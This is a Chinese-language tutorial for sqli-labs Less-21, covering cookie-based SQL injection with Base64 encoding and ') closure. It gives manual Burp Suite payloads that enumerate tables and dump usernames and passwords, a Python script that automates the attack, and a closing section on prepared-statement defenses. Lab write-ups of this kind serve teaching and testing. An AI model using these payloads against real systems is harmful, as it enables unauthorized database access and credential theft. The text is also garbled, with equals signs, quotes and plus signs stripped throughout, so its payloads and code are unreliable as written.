
1. 项目概述当Cookie成为攻击入口做Web安全测试的同行对sqli-labs这个靶场应该都不陌生。它几乎成了我们入门和进阶SQL注入的“必修课”。前面的关卡我们大多在和URL参数、表单输入斗智斗勇但到了第21关战场转移了——它把注入点藏在了HTTP请求的Cookie里。这关的标题“字符型Header-Cookie SQL注入(单引号括号闭合 base64编码绕过 手工注入脚本注入两种方法)”信息量很大直接点明了几个核心挑战注入位置在Cookie、闭合方式是单引号加括号、数据还经过了Base64编码。这意味着你不能再简单地往浏览器地址栏里敲 and 11 --了整个攻击链的构造和发送方式都需要改变。这关的价值在于它模拟了一个非常现实但容易被开发者忽视的场景后端程序信任并直接处理了来自客户端的Cookie值且未做充分的过滤和校验。很多新手甚至中级开发者会认为Cookie是服务器“发给”客户端的所以是“安全”的从而直接将其用于数据库查询。这个靶场无情地打破了这种幻想。通过手工和脚本两种方式通关不仅能让你彻底理解Cookie注入的原理更能掌握如何在实际渗透测试或代码审计中识别和利用这类“非常规”注入点。无论你是想巩固SQL注入知识的安全爱好者还是希望写出更健壮代码的后端开发这一关的实战经验都至关重要。2. 环境准备与靶场状态分析2.1 靶场环境搭建与访问首先确保你的sqli-labs靶场已经正常运行。通常它是一个基于PHP/MySQL的Web应用。访问第21关的URL一般是http://your-ip/sqli-labs/Less-21/。页面加载后你大概率会看到一个登录表单。与之前关卡直接提交表单不同这一关的突破口不在表单的username和password字段而在于你每次访问时浏览器自动携带或服务器设置的Cookie。打开浏览器的开发者工具F12切换到“网络”(Network)标签页然后刷新页面或尝试登录。查看第一个请求通常是index.php或login.php在“请求头”(Request Headers)部分找到Cookie:这一行。你会发现一个名为uname的Cookie它的值看起来是一串乱码比如YWRtaW4。这其实就是admin经过Base64编码后的结果。这就是本关的核心注入点存在于这个uname的Cookie值中并且这个值在传递给后端SQL查询前会被Base64解码。2.2 关键信息收集与漏洞点判断在开始注入前我们需要确认漏洞的存在和基本形态。一个快速的方法是先尝试正常的登录。使用常见的测试账号如admin/admin观察请求和响应。你会发现无论登录成功与否服务器都会在响应中设置一个uname的Cookie其值为你提交的用户名经过Base64编码后的字符串。注意这里有一个非常重要的细节。很多人在初次测试时会直接去修改浏览器中存储的Cookie值然后刷新页面。但这样做往往无效因为页面刷新可能会触发一个新的GET请求而服务端处理登录逻辑的往往是另一个PHP文件如login.php或login_submit.php它只处理POST请求。因此我们的所有测试Payload都需要在登录请求的Cookie中进行修改和发送。最可靠的方法是使用代理工具如Burp Suite拦截登录时的POST请求然后修改其中的Cookie头。通过拦截请求我们初步判断后端代码逻辑可能是这样的接收POST请求中的用户名和密码。将用户名进行Base64编码存入Cookie可能用于后续会话。在某个查询中可能是验证用户也可能是登录后显示信息将Cookie中的uname值取出来进行Base64解码然后直接拼接进SQL语句。查询语句的闭合方式根据题目提示是(‘$decoded_uname’)。我们的任务就是构造一个特殊的“用户名”使其经过Base64编码-传输-后端解码-拼接后能破坏原SQL语句结构并执行我们想要的查询。3. 核心原理Cookie注入与Base64编码绕过3.1 为什么Cookie会成为注入点Cookie注入的本质与普通的GET/POST参数注入并无不同都是因为不可信的用户输入被直接拼接到了SQL语句中。区别在于输入来源。开发者常见的思维误区有信任客户端数据认为Cookie是服务器自己设置的所以其内容在客户端被篡改的可能性较低从而放松了警惕。过滤不统一网站可能对GET/POST参数做了严格的过滤但忘记了对$_COOKIE超全局变量中的数据进行同样的处理。二次处理漏洞就像本关Cookie值经过了Base64编码。开发者可能认为编码等于加密或者认为编码后的数据是“安全”的于是在解码后直接使用没有进行二次校验和过滤。从攻击者视角看Cookie注入的利用条件相对苛刻一些因为它通常需要用户已经有一个会话即拥有一个Cookie并且能通过某种方式如XSS让用户发起携带恶意Cookie的请求或者直接能篡改自己请求中的Cookie。但在本靶场环境中我们可以直接控制发送的请求因此可以完美模拟攻击。3.2 Base64编码在注入中的角色与绕过Base64是一种编码绝非加密。它只是将二进制数据转换成由64个字符A-Z, a-z, 0-9, , /组成的字符串方便在HTTP等文本协议中传输。它的过程是完全可逆的。在本关中Base64扮演了一个“混淆”的角色。后端逻辑是接收用户输入$input。编码$cookie_value base64_encode($input) 发送给浏览器。从后续请求的Cookie中读取$cookie_value。解码$decoded_input base64_decode($cookie_value)。拼接SQL$sql SELECT ... WHERE username ( . $decoded_input . ) ...。我们的攻击Payload是$input。如果我们直接输入SQL注入语句比如admin) and 11 --它会被编码成YWRtaW4nKSBhbmQgMT0xIC0tIA。后端解码后得到原始的admin) and 11 --成功注入。所以“Base64编码绕过”这个说法并不准确它并不是一种绕过安全机制的手段而是攻击者需要将自己的Payload进行编码以符合目标处理流程。真正的漏洞在于解码后的数据没有经过过滤。我们攻击的思路是构造一个明文的Payload - 将其进行Base64编码 - 把编码后的字符串作为Cookie值发送。3.3 闭合方式(‘$injection’)的破解题目明确提示是“单引号括号闭合”。这意味着后端SQL语句的模板很可能是SELECT * FROM users WHERE username ($input) AND password ...或者SELECT * FROM users WHERE (username $input) AND ...为了跳出这个闭合我们需要先闭合单引号再闭合括号然后开始我们的注入逻辑最后用注释符注释掉后面的内容。因此我们的基础注入Payload结构应该是有效用户名) [注入语句] --有效用户名比如admin用于通过用户名的初步匹配如果存在的话。闭合原SQL语句中的前一个单引号。)闭合原SQL语句中的前一个括号。[注入语句]我们想要执行的SQL代码如and 11。--注意后面有个空格这是SQL的单行注释符用于注释掉原语句中剩下的AND password...部分避免语法错误。所以一个用于测试漏洞存在的Payload明文就是admin) and 11 --。将其Base64编码后替换Cookie中的uname值。4. 手工注入实战步步为营破解关卡手工注入能让我们最清晰地理解每一步在做什么。我们使用Burp Suite作为工具。4.1 第一步确认注入点与闭合方式配置代理浏览器设置代理指向Burp Suite如127.0.0.1:8080。拦截请求在sqli-labs第21关的登录框输入任意用户名密码如test/test点击登录。Burp会拦截到这个POST请求。发送测试Payload将请求发送到Burp的Repeater模块方便反复测试。找到Cookie:请求头修改uname的值。测试Payload 1 (永真条件)明文admin) and 11 --Base64编码YWRtaW4nKSBhbmQgMT0xIC0tIA将uname的值替换为YWRtaW4nKSBhbmQgMT0xIC0tIA发送请求。预期结果如果页面正常显示可能显示登录成功或显示admin用户的信息说明and 11条件成立注入成功。测试Payload 2 (永假条件)明文admin) and 12 --Base64编码YWRtaW4nKSBhbmQgMT0yIC0tIA替换Cookie并发送。预期结果页面返回异常如登录失败、无信息显示。与永真条件结果不同进一步确认注入点存在且可控。实操心得在Repeater中测试时务必注意每次发送前Cookie中的uname值是否已经更新。有时页面会返回一个新的Set-Cookie头覆盖原来的值。最稳妥的方法是每次都从最初的登录请求开始拦截和修改或者确保在Repeater中使用的就是最初修改后的那个请求包。4.2 第二步判断字段数ORDER BY确定注入点后需要知道当前查询结果返回的列数为后续UNION查询做准备。构造Payload使用ORDER BY子句。明文Payload从admin) order by 1 --开始尝试。明文admin) order by 1 --Base64YWRtaW4nKSBvcmRlciBieSAxIC0tIA递增测试在Repeater中依次将Payload改为order by 2,order by 3,order by 4... 并同步更新Base64编码后的Cookie值。order by 3明文admin) order by 3 --order by 3Base64YWRtaW4nKSBvcmRlciBieSAzIC0tIA判断依据当ORDER BY后面的数字超过实际列数时页面会返回SQL错误如报错信息或显示异常如空白。假设order by 3正常order by 4报错则说明字段数为3。4.3 第三步探测回显点UNION SELECT知道字段数是3后我们使用UNION SELECT来确认哪些字段的内容会显示在页面上。构造UNION Payload明文格式为admin) union select 1,2,3 --。这里的1,2,3是占位符。明文admin) union select 1,2,3 --Base64YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwyLDMgLS0g发送并观察替换Cookie发送请求。观察页面变化。正常情况下页面上原本显示用户名、密码或其他信息的地方可能会被数字1、2或3替代。记下这些数字的位置。例如如果页面上“用户名”处显示2“邮箱”处显示3那么第2和第3列就是回显点。4.4 第四步获取数据库信息现在我们可以把回显点比如2和3替换成我们想查询的数据库函数。查询当前数据库和用户明文admin) union select 1, database(), user() --Base64YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwgZGF0YWJhc2UoKSwgdXNlcigpIC0tIA发送请求页面回显点会展示当前数据库名和数据库用户。查询MySQL版本明文admin) union select 1, version(), version_compile_os --Base64YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwgdmVyc2lvbigpLCBAQHZlcnNpb25fY29tcGlsZV9vcyAtLSA可以获取数据库版本和操作系统信息。4.5 第五步爆破表名、列名与数据在MySQL中information_schema数据库存储了元数据。我们通过它来获取目标表的信息。查询所有表名假设当前数据库名为security明文admin) union select 1, group_concat(table_name), 3 from information_schema.tables where table_schemasecurity --Base64编码较长务必确保编码正确。使用可靠的在线工具或命令行echo -n payload | base64生成。发送后回显点会列出security数据库中的所有表如emails,referers,uagents,users等。我们显然对users表最感兴趣。查询users表的所有列名明文admin) union select 1, group_concat(column_name), 3 from information_schema.columns where table_schemasecurity and table_nameusers --发送后可以得到列名例如id,username,password。最终数据提取明文admin) union select 1, group_concat(username, :, password), 3 from users --这个Payload会将users表中所有用户的用户名和密码以username:password的格式合并起来显示在回显点上例如admin:admin, dummy:dummy, ...。至此手工注入完成成功获取了敏感数据。5. 脚本注入实战自动化提升效率手工注入虽然清晰但步骤繁琐尤其是需要爆破大量数据时。编写一个Python脚本可以自动化这个过程大大提高效率。脚本的核心逻辑是模拟HTTP请求自动构造、编码Payload并解析响应结果。5.1 脚本设计思路与依赖库我们将使用Python的requests库来发送HTTP请求base64库进行编码。脚本需要实现以下功能维持一个会话requests.Session()以自动处理Cookie。首先发送一个初始请求通常是GET请求到登录页获取初始的Cookie如果有的话。构造登录的POST请求但重点在于动态修改请求头中的Cookie值。将我们每一步的注入Payload进行Base64编码替换到Cookie中。发送请求根据响应内容如页面是否包含特定关键字、报错信息来判断注入结果。自动化的爆破数据。5.2 核心代码实现与解析以下是一个针对本关Less-21的自动化注入脚本框架包含了判断字段数、获取回显点、爆破数据库名、表名、列名和数据的完整流程。import requests import base64 from urllib.parse import quote import sys # 靶场URL base_url http://192.168.1.100/sqli-labs/Less-21/ login_url base_url login.php # 根据实际靶场确定登录处理页面 # 初始化会话 s requests.Session() # 1. 首先访问一下首页获取可能的初始Cookie非必须但更规范 print([*] 获取初始会话...) try: resp s.get(base_url) print(f[] 初始会话获取成功。) except Exception as e: print(f[-] 连接失败: {e}) sys.exit(1) def inject(payload_plain): 核心注入函数将明文Payload编码后放入Cookie发送请求 # Base64编码 payload_b64 base64.b64encode(payload_plain.encode()).decode() # 构造Cookie头注意格式 cookies {uname: payload_b64} # 这里需要构造一个登录请求的数据体通常靶场需要username和password参数 # 即使密码错误只要Cookie注入成功我们也能在响应中得到回显 data { username: doesntmatter, # 用户名可以随意因为注入点在Cookie password: doesntmatter, submit: Submit } # 发送POST请求携带自定义的Cookie headers { User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36, Content-Type: application/x-www-form-urlencoded } try: resp s.post(login_url, datadata, cookiescookies, headersheaders) return resp.text except Exception as e: print(f[-] 请求失败: {e}) return None def test_injection(): 测试注入点是否存在 print(\n[*] 测试注入点...) true_payload admin) and 11 -- false_payload admin) and 12 -- true_resp inject(true_payload) false_resp inject(false_payload) # 这里需要根据实际靶场回显判断 # 假设页面包含“Welcome”或“YOUR USERNAME IS”表示成功 if true_resp and false_resp: if (YOUR USERNAME IS in true_resp) and (YOUR USERNAME IS not in false_resp): print([] 注入点确认存在) return True else: print([-] 未发现明显的布尔盲注特征尝试其他判断方式。) # 可以比较响应长度或特定字符串出现次数 if len(true_resp) ! len(false_resp): print(f[] 通过响应长度差异({len(true_resp)} vs {len(false_resp)})确认注入点存在。) return True print([-] 注入点可能不存在或判断逻辑有误。) return False def get_column_count(): 判断字段数 print(\n[*] 判断查询字段数...) for i in range(1, 20): payload fadmin) order by {i} -- resp inject(payload) # 如果order by i成功页面正常失败则可能包含SQL错误信息或空白 if resp and (error in resp.lower() or unknown in resp.lower() or len(resp) 100): print(f[-] order by {i} 失败。) column_count i - 1 print(f[] 判断字段数为: {column_count}) return column_count else: print(f[] order by {i} 成功。) return 0 def find_echo_points(cols): 寻找回显点 print(f\n[*] 使用UNION SELECT寻找{cols}个字段的回显点...) union_select 1 for i in range(2, cols1): union_select f,{i} payload fadmin) union select {union_select} -- resp inject(payload) if resp: # 这里需要根据页面特征提取回显的数字 # 一个简单的方法是查找响应中出现的‘1’‘2’‘3’等数字但可能误判 # 更可靠的方法是预设标记例如union select 1,2,3 echo_payload fadmin) union select 1,2,3 -- resp_echo inject(echo_payload) import re matches re.findall(r(\d), resp_echo) if matches: echo_points [int(m) for m in matches] print(f[] 发现回显点位于字段: {echo_points}) return echo_points print([-] 未找到明确回显点。) return [] def exploit(echo_points): 利用回显点获取信息 if not echo_points: print([-] 无回显点无法进行联合查询注入。) return # 假设我们使用第一个回显点echo_points[0] target_pos echo_points[0] # 构造一个动态的SELECT部分将我们想查的信息放在回显点其他位置用1填充 def make_union_select(query_fragment): select_list [] for i in range(1, 4): # 假设字段数是3 if i target_pos: select_list.append(query_fragment) else: select_list.append(1) return ,.join(select_list) print(\n[*] 获取当前数据库...) payload fadmin) union select {make_union_select(database())} -- resp inject(payload) # 这里需要编写一个解析函数从resp中提取出database()的结果 # 例如如果回显是 Welcome, security 我们可以用正则提取 # 为简化示例我们假设能提取到 # db_name parse_response(resp, YOUR_PATTERN) # print(f[] 当前数据库: {db_name}) # 获取表名 print([*] 获取表名...) # payload fadmin) union select {make_union_select(group_concat(table_name))} from information_schema.tables where table_schemadatabase() -- # resp inject(payload) # tables parse_response(resp) # print(f[] 表名: {tables}) # ... 后续爆破列名、数据的代码逻辑类似 if __name__ __main__: if test_injection(): cols get_column_count() if cols 0: points find_echo_points(cols) exploit(points)注意事项这个脚本是一个框架其中的parse_response函数需要你根据靶场的实际回显页面来编写。有的靶场回显非常干净有的则夹杂在大量HTML中。你可能需要使用正则表达式或BeautifulSoup等HTML解析库来精准提取数据。此外判断order by是否成功也需要根据页面特征如是否出现“You have an error in your SQL syntax”来调整逻辑。5.3 脚本运行与结果分析运行脚本后它会自动执行布尔测试、判断字段数、寻找回显点。你需要根据终端输出和可能的错误信息进行调整。例如如果order by的判断逻辑不准确你可能需要修改get_column_count函数中识别“错误”的条件。脚本注入的优势在于一旦调试成功获取整张users表的数据只需要最后一步查询瞬间完成。你可以将最终的数据提取步骤完善直接将用户名和密码列表打印出来极大提升效率。6. 常见问题、防御与深度思考6.1 手工注入过程中的典型问题页面无变化注入似乎无效检查点确认你修改的是登录POST请求的Cookie而不是页面GET请求的Cookie。使用Burp Repeater确保请求方法是POST并且请求体body中有username和password等参数。检查点确认Base64编码是否正确。确保编码前没有多余空格并且使用了“URL安全”的Base64编码虽然标准Base64通常也可用。可以在Burp的Decoder模块进行核对。检查点注释符是否正确MySQL中单行注释是--后面必须有一个空格或者是#。有时需要URL编码为%23。在本关中使用--即可。UNION SELECT后页面显示异常或空白检查点字段数判断是否正确UNION SELECT前后查询的列数必须严格一致。检查点UNION查询的前半部分admin)是否能查到数据如果查不到可能导致整个UNION结果为空。可以尝试用一个数据库中肯定存在的值或者将前半部分设为永假条件如-1) union select 1,2,3 --让结果完全由我们UNION的部分决定。Base64编码包含/或导致Cookie值被截断问题Base64编码结果可能包含、/和。和空格在URL/Cookie中可能有特殊含义。虽然现代浏览器和服务器处理能力很强但为了绝对可靠可以对Base64结果进行URL编码。解决使用base64.b64encode(payload).decode().replace(, %2B).replace(/, %2F).replace(, %3D)。在Burp中手动修改时也可以使用CtrlU进行URL编码。6.2 从攻击到防御如何避免Cookie注入作为开发者理解攻击原理是为了更好地防御。最小化信任原则绝不信任任何来自客户端的输入包括Cookie、Header、URL参数、POST数据。视其为全部不可信。使用预处理语句Prepared Statements这是防止SQL注入最有效、最根本的方法。使用参数化查询让数据库将代码和数据严格区分。无论是PHP的PDO/MySQLi还是其他语言的ORM框架都支持预处理。// 错误示例拼接 $sql SELECT * FROM users WHERE username ( . $decoded_cookie . ); // 正确示例PDO预处理 $stmt $pdo-prepare(SELECT * FROM users WHERE username (?)); $stmt-execute([$decoded_cookie]);对Cookie值进行严格的输入验证和过滤即使使用预处理也建议对解码后的Cookie值进行白名单验证如只允许特定字符集或类型转换如期望是整数则强制转为int。避免不必要的编码/解码不要为了“安全”而进行无意义的编码转换。Base64不是加密不能增加安全性。如果必须使用应在解码后立即进行验证和过滤。设置安全的Cookie属性使用HttpOnly防止JavaScript访问、Secure仅通过HTTPS传输、SameSite限制第三方Cookie等属性增加攻击者窃取或篡改Cookie的难度。6.3 漏洞的延伸思考自动化探测与工具化在实际的渗透测试中我们如何发现这类Cookie注入漏洞呢自动化扫描工具如Burp Suite的Scanner、sqlmap等都支持对Cookie参数进行注入测试。在sqlmap中你可以使用-p uname --cookieunameYWRtaW4来指定测试Cookie中的uname参数。手动测试点在测试任何Web应用时都应该有意识地将所有HTTP请求参数包括Cookie、Header纳入测试范围。特别是那些看起来像ID、Session标识、用户名的Cookie值。代码审计在审计代码时关注所有使用$_COOKIE超全局变量的地方看其是否直接进入了SQL查询、系统命令或文件路径。通关sqli-labs第21关远不止是解一道题。它强迫我们跳出舒适区去处理编码、去操纵HTTP头、去思考数据流的完整路径。这种对“非常规”注入点的理解和利用能力正是初级与中级安全测试人员的一个重要分水岭。把手工注入的每一步都想明白再用脚本将其自动化这个从理解到工具化的过程本身就是一次绝佳的学习演练。